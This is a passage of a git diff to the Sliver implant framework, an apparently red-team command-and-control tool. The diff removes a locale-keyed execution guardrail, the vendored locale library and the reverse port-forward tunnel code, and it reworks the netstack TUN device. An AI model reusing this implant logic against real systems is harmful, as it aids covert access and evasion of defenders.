+			TunnelID: tunnel.ID,
 		})
+		connection.Send <- &sliverpb.Envelope{
+			Type: sliverpb.MsgTunnelClose,
+			Data: tunnelClose,
+		}
+		connection.RemoveTunnel(tunnel.ID)
+		dst.Close()
+		cancelContext()
 	}
 
 	go func() {

implant/sliver/limits/limits.go

@@ -30,10 +30,7 @@ import (
 
 	// {{if .Config.LimitUsername}}
 	"os/user"
-	// {{end}}
 
-	// {{if .Config.LimitLocale}}
-	"regexp"
 	// {{end}}
 
 	// {{if .Config.LimitDatetime}}
@@ -43,10 +40,6 @@ import (
 	// {{if or .Config.LimitHostname .Config.LimitUsername}}
 	"strings"
 	// {{else}}{{end}}
-
-	// {{if .Config.LimitLocale}}
-	"github.com/bishopfox/sliver/implant/sliver/locale"
-	// {{end}}
 )
 
 // ExecLimits - Checks for execution limitations (domain, hostname, etc)
@@ -111,21 +104,6 @@ func ExecLimits() {
 	}
 	// {{end}}
 
-	// {{if .Config.LimitLocale}}
-	locale := locale.GetLocale()
-	match, err := regexp.MatchString(`{{.Config.LimitLocale}}`, locale)
-	if !match {
-		// {{if .Config.Debug}}
-		if err != nil {
-			log.Printf("LimitLocale regexp: %s", err)
-		} else {
-			log.Printf("LimitLocale regexp %#v does not match %#v", `{{.Config.LimitLocale}}`, locale)
-		}
-		// {{end}}
-		os.Exit(1)
-	} 
-	// {{end}}
-
 	// {{if .Config.Debug}}
 	log.Printf("Limit checks completed")
 	// {{end}}

implant/sliver/locale/jibberjabber/LICENSE

@@ -1,201 +0,0 @@
-                              Apache License
-                        Version 2.0, January 2004
-                     http://www.apache.org/licenses/
-
-TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-1. Definitions.
-
-   "License" shall mean the terms and conditions for use, reproduction,
-   and distribution as defined by Sections 1 through 9 of this document.
-
-   "Licensor" shall mean the copyright owner or entity authorized by
-   the copyright owner that is granting the License.
-
-   "Legal Entity" shall mean the union of the acting entity and all
-   other entities that control, are controlled by, or are under common
-   control with that entity. For the purposes of this definition,
-   "control" means (i) the power, direct or indirect, to cause the
-   direction or management of such entity, whether by contract or
-   otherwise, or (ii) ownership of fifty percent (50%) or more of the
-   outstanding shares, or (iii) beneficial ownership of such entity.
-
-   "You" (or "Your") shall mean an individual or Legal Entity
-   exercising permissions granted by this License.
-
-   "Source" form shall mean the preferred form for making modifications,
-   including but not limited to software source code, documentation
-   source, and configuration files.
-
-   "Object" form shall mean any form resulting from mechanical
-   transformation or translation of a Source form, including but
-   not limited to compiled object code, generated documentation,
-   and conversions to other media types.
-
-   "Work" shall mean the work of authorship, whether in Source or
-   Object form, made available under the License, as indicated by a
-   copyright notice that is included in or attached to the work
-   (an example is provided in the Appendix below).
-
-   "Derivative Works" shall mean any work, whether in Source or Object
-   form, that is based on (or derived from) the Work and for which the
-   editorial revisions, annotations, elaborations, or other modifications
-   represent, as a whole, an original work of authorship. For the purposes
-   of this License, Derivative Works shall not include works that remain
-   separable from, or merely link (or bind by name) to the interfaces of,
-   the Work and Derivative Works thereof.
-
-   "Contribution" shall mean any work of authorship, including
-   the original version of the Work and any modifications or additions
-   to that Work or Derivative Works thereof, that is intentionally
-   submitted to Licensor for inclusion in the Work by the copyright owner
-   or by an individual or Legal Entity authorized to submit on behalf of
-   the copyright owner. For the purposes of this definition, "submitted"
-   means any form of electronic, verbal, or written communication sent
-   to the Licensor or its representatives, including but not limited to
-   communication on electronic mailing lists, source code control systems,
-   and issue tracking systems that are managed by, or on behalf of, the
-   Licensor for the purpose of discussing and improving the Work, but
-   excluding communication that is conspicuously marked or otherwise
-   designated in writing by the copyright owner as "Not a Contribution."
-
-   "Contributor" shall mean Licensor and any individual or Legal Entity
-   on behalf of whom a Contribution has been received by Licensor and
-   subsequently incorporated within the Work.
-
-2. Grant of Copyright License. Subject to the terms and conditions of
-   this License, each Contributor hereby grants to You a perpetual,
-   worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-   copyright license to reproduce, prepare Derivative Works of,
-   publicly display, publicly perform, sublicense, and distribute the
-   Work and such Derivative Works in Source or Object form.
-
-3. Grant of Patent License. Subject to the terms and conditions of
-   this License, each Contributor hereby grants to You a perpetual,
-   worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-   (except as stated in this section) patent license to make, have made,
-   use, offer to sell, sell, import, and otherwise transfer the Work,
-   where such license applies only to those patent claims licensable
-   by such Contributor that are necessarily infringed by their
-   Contribution(s) alone or by combination of their Contribution(s)
-   with the Work to which such Contribution(s) was submitted. If You
-   institute patent litigation against any entity (including a
-   cross-claim or counterclaim in a lawsuit) alleging that the Work
-   or a Contribution incorporated within the Work constitutes direct
-   or contributory patent infringement, then any patent licenses
-   granted to You under this License for that Work shall terminate
-   as of the date such litigation is filed.
-
-4. Redistribution. You may reproduce and distribute copies of the
-   Work or Derivative Works thereof in any medium, with or without
-   modifications, and in Source or Object form, provided that You
-   meet the following conditions:
-
-   (a) You must give any other recipients of the Work or
-       Derivative Works a copy of this License; and
-
-   (b) You must cause any modified files to carry prominent notices
-       stating that You changed the files; and
-
-   (c) You must retain, in the Source form of any Derivative Works
-       that You distribute, all copyright, patent, trademark, and
-       attribution notices from the Source form of the Work,
-       excluding those notices that do not pertain to any part of
-       the Derivative Works; and
-
-   (d) If the Work includes a "NOTICE" text file as part of its
-       distribution, then any Derivative Works that You distribute must
-       include a readable copy of the attribution notices contained
-       within such NOTICE file, excluding those notices that do not
-       pertain to any part of the Derivative Works, in at least one
-       of the following places: within a NOTICE text file distributed
-       as part of the Derivative Works; within the Source form or
-       documentation, if provided along with the Derivative Works; or,
-       within a display generated by the Derivative Works, if and
-       wherever such third-party notices normally appear. The contents
-       of the NOTICE file are for informational purposes only and
-       do not modify the License. You may add Your own attribution
-       notices within Derivative Works that You distribute, alongside
-       or as an addendum to the NOTICE text from the Work, provided
-       that such additional attribution notices cannot be construed
-       as modifying the License.
-
-   You may add Your own copyright statement to Your modifications and
-   may provide additional or different license terms and conditions
-   for use, reproduction, or distribution of Your modifications, or
-   for any such Derivative Works as a whole, provided Your use,
-   reproduction, and distribution of the Work otherwise complies with
-   the conditions stated in this License.
-
-5. Submission of Contributions. Unless You explicitly state otherwise,
-   any Contribution intentionally submitted for inclusion in the Work
-   by You to the Licensor shall be under the terms and conditions of
-   this License, without any additional terms or conditions.
-   Notwithstanding the above, nothing herein shall supersede or modify
-   the terms of any separate license agreement you may have executed
-   with Licensor regarding such Contributions.
-
-6. Trademarks. This License does not grant permission to use the trade
-   names, trademarks, service marks, or product names of the Licensor,
-   except as required for reasonable and customary use in describing the
-   origin of the Work and reproducing the content of the NOTICE file.
-
-7. Disclaimer of Warranty. Unless required by applicable law or
-   agreed to in writing, Licensor provides the Work (and each
-   Contributor provides its Contributions) on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-   implied, including, without limitation, any warranties or conditions
-   of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-   PARTICULAR PURPOSE. You are solely responsible for determining the
-   appropriateness of using or redistributing the Work and assume any
-   risks associated with Your exercise of permissions under this License.
-
-8. Limitation of Liability. In no event and under no legal theory,
-   whether in tort (including negligence), contract, or otherwise,
-   unless required by applicable law (such as deliberate and grossly
-   negligent acts) or agreed to in writing, shall any Contributor be
-   liable to You for damages, including any direct, indirect, special,
-   incidental, or consequential damages of any character arising as a
-   result of this License or out of the use or inability to use the
-   Work (including but not limited to damages for loss of goodwill,
-   work stoppage, computer failure or malfunction, or any and all
-   other commercial damages or losses), even if such Contributor
-   has been advised of the possibility of such damages.
-
-9. Accepting Warranty or Additional Liability. While redistributing
-   the Work or Derivative Works thereof, You may choose to offer,
-   and charge a fee for, acceptance of support, warranty, indemnity,
-   or other liability obligations and/or rights consistent with this
-   License. However, in accepting such obligations, You may act only
-   on Your own behalf and on Your sole responsibility, not on behalf
-   of any other Contributor, and only if You agree to indemnify,
-   defend, and hold each Contributor harmless for any liability
-   incurred by, or claims asserted against, such Contributor by reason
-   of your accepting any such warranty or additional liability.
-
-END OF TERMS AND CONDITIONS
-
-APPENDIX: How to apply the Apache License to your work.
-
-   To apply the Apache License to your work, attach the following
-   boilerplate notice, with the fields enclosed by brackets "[]"
-   replaced with your own identifying information. (Don't include
-   the brackets!)  The text should be enclosed in the appropriate
-   comment syntax for the file format. We also recommend that a
-   file or class name and description of purpose be included on the
-   same "printed page" as the copyright notice for easier
-   identification within third-party archives.
-
-Copyright 2014 Pivotal
-
-Licensed under the Apache License, Version 2.0 (the "License");
-you may not use this file except in compliance with the License.
-You may obtain a copy of the License at
-
-    http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing, software
-distributed under the License is distributed on an "AS IS" BASIS,
-WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-See the License for the specific language governing permissions and
-limitations under the License.

implant/sliver/locale/jibberjabber/README.md

@@ -1,95 +0,0 @@
-# Jibber Jabber [![Build Status](https://travis-ci.org/cubiest/jibberjabber.svg?branch=master)](https://travis-ci.org/cubiest/jibberjabber)
-
-Jibber Jabber is a GoLang Library that can be used to detect an operating system's current language, plus helper functionalities for app development.
-
-
-## OS Support
-
-UNIX: **GNU/Linux**, **macOS**, **FreeBSD**, **OpenBSD**, **NetBSD**  
-via the `LC_MESSAGES`, `LC_ALL` and `LANG` environment variables. They are checked in the aforementioned order.  
-These variables are used in ALL versions of UNIX for language detection.
-
-**Windows**  
-via [GetUserDefaultLocaleName](https://docs.microsoft.com/en-gb/windows/win32/api/winnls/nf-winnls-getuserdefaultlocalename) and [GetSystemDefaultLocaleName](https://docs.microsoft.com/en-gb/windows/win32/api/winnls/nf-winnls-getsystemdefaultlocalename) system calls. These calls are supported in Windows Vista and up.
-
-
-
-## DetectIETF
-
-`DetectIETF` will return the current locale as a string. The format of the locale will be the [ISO 639](http://en.wikipedia.org/wiki/ISO_639) two-letter language code, a DASH, then an [ISO 3166](http://en.wikipedia.org/wiki/ISO_3166-1) two-letter country code.
-
-**Example:**
-```golang
-	userLocale, err := jibberjabber.DetectIETF()
-	println("Locale:", userLocale)
-```
-
-
-## DetectLanguage
-`DetectLanguage` will return the current language as a string. The format will be the [ISO 639](http://en.wikipedia.org/wiki/ISO_639) two-letter language code.
-
-also import the following packages for parsing the returned locale
-```golang
-	"golang.org/x/text/language"
-	"golang.org/x/text/language/display"
-
-```
-
-
-**Example:**
-```golang
-	userLanguage, err := jibberjabber.DetectLanguage()
-	println("Language:", userLanguage)
-	languageTag, parseErr := language.Parse(userLanguage)
-	println("Language:", display.Self.Name(languageTag))
-	
-```
-
-
-## DetectLanguageTag
-
-`DetectLanguageTag` will return the current language as a language tag as specified by `"golang.org/x/text/language"`.
-
-**Example:**
-```golang
-	languageTag, parseErr := jibberjabber.DetectLanguageTag()
-	println("Language:", display.Self.Name(languageTag))
-	
-```
-
-
-## DetectTerritory
-
-`DetectTerritory` will return the current locale territory as a string. The format will be the [ISO 3166](http://en.wikipedia.org/wiki/ISO_3166-1) two-letter country code.
-
-**Example:**
-```golang
-	localeTerritory, err := jibberjabber.DetectTerritory()
-	println("Territory:", localeTerritory)
-```
-
-
-## About Errors in Detect
-
-All the Detect commands will return an error if they are unable to read the Locale from the system.
-
-For Windows, additional error information is provided due to the nature of the system call being used.
-
-
-## Helper Singleton
-
-There is a singleton you can, but don't have to, use. It helps you define and later check which locales you support in your application - if not, apply a fallback language locale.
-
-**Example:**
-```golang
-	langServer := jibberjabber.LanguageServer()
-	langServer.SetSupportedLanguages(map[language.Tag]string{
-		language.German:  "active.de.toml",
-		language.English: "active.en.toml",
-	}
-	langServer.SetFallbackLanguage(language.English)
-	langLocale, err := langServer.StringToSupportedLanguageTag("something") // returns `language.English`
-	if err != nil {
-		log.Printf("failed fetching supported language locale, use fallback language locale %q\n", display.Self.Name(langLocale))
-	}
-```

implant/sliver/locale/jibberjabber/jibberjabber.go

@@ -1,44 +0,0 @@
-package jibberjabber
-
-import (
-	"errors"
-//	"fmt"
-//	"sort"
-	"strings"
-//	"sync"
-
-//	"golang.org/x/text/language"
-//	"golang.org/x/text/language/display"
-)
-
-var (
-	ErrLangDetectFail          = errors.New("could not detect Language")
-	ErrLangFallbackUndefined   = errors.New("no fallback language defined")
-	ErrLangFallbackUnsupported = errors.New("defined fallback language is not supported")
-	ErrLangUnsupported         = errors.New("language not supported")
-	ErrLangParse               = errors.New("language identifier cannot be parsed")
-)
-
-func splitLocale(locale string) (string, string) {
-	formattedLocale := strings.Split(locale, ".")[0]
-	formattedLocale = strings.Replace(formattedLocale, "-", "_", -1)
-
-	pieces := strings.Split(formattedLocale, "_")
-	language := pieces[0]
-	territory := ""
-	if len(pieces) > 1 {
-		territory = strings.Split(formattedLocale, "_")[1]
-	}
-	return language, territory
-}
-
-/**
- * languageServer
- */
-
-
-// IsError checks an error you received from one of jibberjabber's funcs for a jibberjabber error like `ErrLangDetectFail`.
-// Reason you cannot use e.g. `errors.Is()`: currently, golang does not allow native chain-wrapping errors. Therefore, `errors.Unwrap()`, `errors.Is()` & Co. won't return `true` for jibberjabber errors.
-func IsError(err error, jjError error) bool {
-	return strings.HasPrefix(err.Error(), jjError.Error())
-}

implant/sliver/locale/jibberjabber/jibberjabber_unix.go

@@ -1,44 +0,0 @@
-// +build darwin freebsd linux netbsd openbsd
-
-package jibberjabber
-
-import (
-	"os"
-	"strings"
-)
-
-func getLangFromEnv() string {
-	for _, env := range []string{"LC_MESSAGES", "LC_ALL", "LANG"} {
-		locale := os.Getenv(env)
-		if len(locale) > 0 {
-			return locale
-		}
-	}
-	return ""
-}
-
-func getUnixLocale() (string, error) {
-	locale := getLangFromEnv()
-	if len(locale) <= 0 {
-		return "", ErrLangDetectFail
-	}
-	return locale, nil
-}
-
-// DetectIETF detects and returns the IETF language tag of UNIX systems, like Linux and macOS.
-// If a territory is defined, the returned value will be in the format of `[language]-[territory]`,
-// e.g. `en-GB`.
-func DetectIETF() (string, error) {
-	locale, err := getUnixLocale()
-	if err != nil {
-		return "", err
-	}
-
-	language, territory := splitLocale(locale)
-	locale = language
-	if len(territory) > 0 {
-		locale = strings.Join([]string{language, territory}, "-")
-	}
-
-	return locale, nil
-}

implant/sliver/locale/jibberjabber/jibberjabber_windows.go

@@ -1,47 +0,0 @@
-// +build windows
-
-package jibberjabber
-
-import (
-	"errors"
-	"unsafe"
-
-	"golang.org/x/sys/windows"
-)
-
-// TODO: read LOCALE_NAME_MAX_LENGTH from Windows, instead of hard-coding '85'
-const LOCALE_NAME_MAX_LENGTH uint32 = 85
-
-func getWindowsLocaleFrom(sysCall string) (string, error) {
-	buffer := make([]uint16, LOCALE_NAME_MAX_LENGTH)
-
-	dll, err := windows.LoadDLL("kernel32")
-	if err != nil {
-		return "", errors.New("could not find kernel32 dll: " + err.Error())
-	}
-
-	proc, err := dll.FindProc(sysCall)
-	if err != nil {
-		return "", err
-	}
-
-	r, _, dllError := proc.Call(uintptr(unsafe.Pointer(&buffer[0])), uintptr(LOCALE_NAME_MAX_LENGTH))
-	if r == 0 {
-		return "", errors.New(ErrLangDetectFail.Error() + ": " + dllError.Error())
-	}
-
-	return windows.UTF16ToString(buffer), nil
-}
-
-func getWindowsLocale() (string, error) {
-	locale, err := getWindowsLocaleFrom("GetUserDefaultLocaleName")
-	if err != nil {
-		locale, err = getWindowsLocaleFrom("GetSystemDefaultLocaleName")
-	}
-	return locale, err
-}
-
-// DetectIETF detects and returns the IETF language tag of Windows.
-func DetectIETF() (string, error) {
-	return getWindowsLocale()
-}

implant/sliver/locale/locale.go

@@ -1,35 +0,0 @@
-//go:build darwin || linux || windows
-
-package locale
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-
-import (
-	"github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
-)
-
-// GetLocale returns the default language set
-func GetLocale() string {
-	userLocale, err := jibberjabber.DetectIETF()
-	if err != nil {
-		return ""
-	}
-	return userLocale
-}

implant/sliver/locale/locale_generic.go

@@ -1,30 +0,0 @@
-//go:build !darwin && !windows && !linux
-
-package locale
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-
-	-----------------------------------------------------------------------
-	Place holder so we don't get undefined functions in generic builds.
-
-*/
-
-// GetLocale returns the default language set
-func GetLocale() string {
-	return ""
-}

implant/sliver/netstack/tun.go

@@ -6,7 +6,6 @@
 package netstack
 
 import (
-	"bytes"
 	"context"
 	"crypto/rand"
 	"encoding/binary"
@@ -24,11 +23,10 @@ import (
 	"golang.zx2c4.com/wireguard/tun"
 
 	"golang.org/x/net/dns/dnsmessage"
-	"gvisor.dev/gvisor/pkg/bufferv2"
 	"gvisor.dev/gvisor/pkg/tcpip"
 	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+	"gvisor.dev/gvisor/pkg/tcpip/buffer"
 	"gvisor.dev/gvisor/pkg/tcpip/header"
-	"gvisor.dev/gvisor/pkg/tcpip/link/channel"
 	"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
 	"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
 	"gvisor.dev/gvisor/pkg/tcpip/stack"
@@ -39,16 +37,69 @@ import (
 )
 
 type netTun struct {
-	ep             *channel.Endpoint
 	stack          *stack.Stack
+	dispatcher     stack.NetworkDispatcher
 	events         chan tun.Event
-	incomingPacket chan *bufferv2.View
+	incomingPacket chan buffer.VectorisedView
 	mtu            int
 	dnsServers     []netip.Addr
 	hasV4, hasV6   bool
 }
 
-type Net netTun
+type (
+	endpoint netTun
+	Net      netTun
+)
+
+func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
+	e.dispatcher = dispatcher
+}
+
+func (e *endpoint) IsAttached() bool {
+	return e.dispatcher != nil
+}
+
+func (e *endpoint) MTU() uint32 {
+	mtu, err := (*netTun)(e).MTU()
+	if err != nil {
+		panic(err)
+	}
+	return uint32(mtu)
+}
+
+func (*endpoint) Capabilities() stack.LinkEndpointCapabilities {
+	return stack.CapabilityNone
+}
+
+func (*endpoint) MaxHeaderLength() uint16 {
+	return 0
+}
+
+func (*endpoint) LinkAddress() tcpip.LinkAddress {
+	return ""
+}
+
+func (*endpoint) Wait() {}
+
+func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
+	e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
+	return nil
+}
+
+func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
+	panic("not implemented")
+}
+
+func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
+	panic("not implemented")
+}
+
+func (*endpoint) ARPHardwareType() header.ARPHardwareType {
+	return header.ARPHardwareNone
+}
+
+func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
+}
 
 func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
 	opts := stack.Options{
@@ -57,15 +108,13 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
 		HandleLocal:        true,
 	}
 	dev := &netTun{
-		ep:             channel.New(1024, uint32(mtu), ""),
 		stack:          stack.New(opts),
 		events:         make(chan tun.Event, 10),
-		incomingPacket: make(chan *bufferv2.View),
+		incomingPacket: make(chan buffer.VectorisedView),
 		dnsServers:     dnsServers,
 		mtu:            mtu,
 	}
-	dev.ep.AddNotify(dev)
-	tcpipErr := dev.stack.CreateNIC(1, dev.ep)
+	tcpipErr := dev.stack.CreateNIC(1, (*endpoint)(dev))
 	if tcpipErr != nil {
 		return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
 	}
@@ -118,7 +167,6 @@ func (tun *netTun) Read(buf []byte, offset int) (int, error) {
 	if !ok {
 		return 0, os.ErrClosed
 	}
-
 	return view.Read(buf[offset:])
 }
 
@@ -128,29 +176,17 @@ func (tun *netTun) Write(buf []byte, offset int) (int, error) {
 		return 0, nil
 	}
 
-	pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Payload: bufferv2.MakeWithData(packet)})
+	pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Data: buffer.NewVectorisedView(len(packet), []buffer.View{buffer.NewViewFromBytes(packet)})})
 	switch packet[0] >> 4 {
 	case 4:
-		tun.ep.InjectInbound(header.IPv4ProtocolNumber, pkb)
+		tun.dispatcher.DeliverNetworkPacket("", "", ipv4.ProtocolNumber, pkb)
 	case 6:
-		tun.ep.InjectInbound(header.IPv6ProtocolNumber, pkb)
+		tun.dispatcher.DeliverNetworkPacket("", "", ipv6.ProtocolNumber, pkb)
 	}
 
 	return len(buf), nil
 }
 
-func (tun *netTun) WriteNotify() {
-	pkt := tun.ep.Read()
-	if pkt == nil {
-		return
-	}
-
-	view := pkt.ToView()
-	pkt.DecRef()
-
-	tun.incomingPacket <- view
-}
-
 func (tun *netTun) Flush() error {
 	return nil
 }
@@ -161,9 +197,9 @@ func (tun *netTun) Close() error {
 	if tun.events != nil {
 		close(tun.events)
 	}
-
-	tun.ep.Close()
-
+	if tun.incomingPacket != nil {
+		close(tun.incomingPacket)
+	}
 	return nil
 }
 
@@ -398,10 +434,11 @@ func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
 		return 0, fmt.Errorf("ping write: mismatched protocols")
 	}
 
-	buf := bytes.NewReader(p)
+	buf := buffer.NewViewFromBytes(p)
+	rdr := buf.Reader()
 	rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
 	// won't block, no deadlines
-	n64, tcpipErr := pc.ep.Write(buf, tcpip.WriteOptions{
+	n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
 		To: &rfa,
 	})
 	if tcpipErr != nil {
@@ -416,8 +453,8 @@ func (pc *PingConn) Write(p []byte) (n int, err error) {
 }
 
 func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
-	e, notifyCh := waiter.NewChannelEntry(waiter.EventIn)
-	pc.wq.EventRegister(&e)
+	e, notifyCh := waiter.NewChannelEntry(nil)
+	pc.wq.EventRegister(&e, waiter.EventIn)
 	defer pc.wq.EventUnregister(&e)
 
 	select {
@@ -451,7 +488,7 @@ func (pc *PingConn) SetDeadline(t time.Time) error {
 }
 
 func (pc *PingConn) SetReadDeadline(t time.Time) error {
-	pc.deadline.Reset(time.Until(t))
+	pc.deadline.Reset(t.Sub(time.Now()))
 	return nil
 }
 

implant/sliver/ps/ps_darwin.go

@@ -1,4 +1,3 @@
-//go:build darwin
 // +build darwin
 
 package ps
@@ -91,7 +90,6 @@ func processes() ([]Process, error) {
 			pCommReader := bytes.NewBuffer(pComm)
 			binPath, _ = pCommReader.ReadString(0x00)
 		}
-		binPath = strings.TrimSuffix(binPath, "\x00") // Trim the null byte
 		// Discard the error: if the call errors out, we'll just have an empty argv slice
 		cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
 

implant/sliver/rportfwd/portfwd.go

@@ -1,251 +0,0 @@
-package rportfwd
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
-
-	"context"
-	"encoding/binary"
-	"io"
-	"math/rand"
-	"net"
-	"strconv"
-	"sync"
-	"time"
-
-	"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
-	"github.com/bishopfox/sliver/implant/sliver/transports"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-)
-
-var (
-	// Portfwds - Struct instance that holds all the portfwds
-	Portfwds = portfwds{
-		forwards: map[int]*Portfwd{},
-		mutex:    &sync.RWMutex{},
-	}
-
-	portfwdID = 0
-)
-
-// PortfwdMeta - Metadata about a portfwd listener
-type PortfwdMeta struct {
-	ID         int
-	SessionID  string
-	BindAddr   string
-	RemoteAddr string
-}
-
-// Portfwd - Tracks portfwd<->tcpproxy
-type Portfwd struct {
-	ID           int
-	TCPProxy     *tcpproxy.Proxy
-	ChannelProxy *ChannelProxy
-}
-
-// GetMetadata - Get metadata about the portfwd
-func (p *Portfwd) GetMetadata() *PortfwdMeta {
-	return &PortfwdMeta{
-		ID:         p.ID,
-		BindAddr:   p.ChannelProxy.BindAddr,
-		RemoteAddr: p.ChannelProxy.RemoteAddr,
-	}
-}
-
-type portfwds struct {
-	forwards map[int]*Portfwd
-	mutex    *sync.RWMutex
-}
-
-// Add - Add a TCP proxy instance
-func (f *portfwds) Add(tcpProxy *tcpproxy.Proxy, channelProxy *ChannelProxy) *Portfwd {
-	f.mutex.Lock()
-	defer f.mutex.Unlock()
-	portfwd := &Portfwd{
-		ID:           nextPortfwdID(),
-		TCPProxy:     tcpProxy,
-		ChannelProxy: channelProxy,
-	}
-	f.forwards[portfwd.ID] = portfwd
-	return portfwd
-}
-
-// Remove - Remove a TCP proxy instance
-func (f *portfwds) Remove(portfwdID int) *Portfwd {
-	f.mutex.Lock()
-	defer f.mutex.Unlock()
-	if portfwd, ok := f.forwards[portfwdID]; ok {
-		portfwd.TCPProxy.Close()
-		delete(f.forwards, portfwdID)
-		return portfwd
-	}
-	return nil
-}
-
-// List - List all TCP proxy instances
-func (f *portfwds) List() []*PortfwdMeta {
-	f.mutex.RLock()
-	defer f.mutex.RUnlock()
-	portForwards := []*PortfwdMeta{}
-	for _, portfwd := range f.forwards {
-		portForwards = append(portForwards, portfwd.GetMetadata())
-	}
-	return portForwards
-}
-
-// ChannelProxy binds the Sliver Tunnel to a net.Conn object
-// one ChannelProxy per port bind.
-//
-// Implements the Target interface from tcpproxy pkg
-type ChannelProxy struct {
-	Conn *transports.Connection
-	//Session  *clientpb.Session
-
-	BindAddr        string
-	RemoteAddr      string
-	KeepAlivePeriod time.Duration
-	DialTimeout     time.Duration
-}
-
-// HandleConn - Handle a TCP connection
-func (p *ChannelProxy) HandleConn(src net.Conn) {
-	// {{if .Config.Debug}}
-	log.Printf("[tcpproxy] Handling new connection")
-	// {{end}}
-	ctx := context.Background()
-	var cancelContext context.CancelFunc
-	if p.DialTimeout >= 0 {
-		ctx, cancelContext = context.WithTimeout(ctx, p.dialTimeout())
-	}
-	if conn, ok := src.(*net.TCPConn); ok {
-		// {{if .Config.Debug}}
-		log.Printf("[portfwd] Configuring keep alive")
-		// {{end}}
-		conn.SetKeepAlive(true)
-		// TODO: Make KeepAlive configurable
-		conn.SetKeepAlivePeriod(30 * time.Second)
-	}
-	// Add tunnel
-	// {{if .Config.Debug}}
-	log.Printf("[rportfwd] Creating tcp tunnel")
-	// {{end}}
-
-	tId := NewTunnelID()
-	// {{if .Config.Debug}}
-	log.Printf("[tcpproxy] Created new tunnel with id %d", tId)
-	// {{end}}
-
-	tunnel := transports.NewTunnel(
-		tId,
-		src,
-		src,
-	)
-	p.Conn.AddTunnel(tunnel)
-	cleanup := func(reason error) {
-		// {{if .Config.Debug}}
-		log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
-		// {{end}}
-		tunnel := p.Conn.Tunnel(tunnel.ID)
-		if tunnel != nil {
-			p.Conn.RemoveTunnel(tunnel.ID)
-		}
-		src.Close()
-		cancelContext()
-	}
-
-	go func() {
-		tWriter := tunnelWriter{
-			tun:      tunnel,
-			conn:     p.Conn,
-			host:     p.Host(),
-			port:     p.Port(),
-			protocol: sliverpb.PortFwdProtoTCP,
-			tunnelID: tId,
-		}
-		// portfwd only uses one reader, hence the tunnel.Readers[0]
-		n, err := io.Copy(tWriter, tunnel.Readers[0])
-		_ = n // avoid not used compiler error if debug mode is disabled
-		// {{if .Config.Debug}}
-		log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
-		// {{end}}
-
-		cleanup(err)
-	}()
-}
-
-// HostPort - Returns the host and port of the TCP proxy
-func (p *ChannelProxy) HostPort() (string, uint32) {
-	defaultPort := uint32(8080)
-	host, rawPort, err := net.SplitHostPort(p.RemoteAddr)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("Failed to parse addr %s", p.RemoteAddr)
-		// {{end}}
-		return "", defaultPort
-	}
-	portNumber, err := strconv.Atoi(rawPort)
-	if err != nil {
-		// {{if .Config.Debug}}
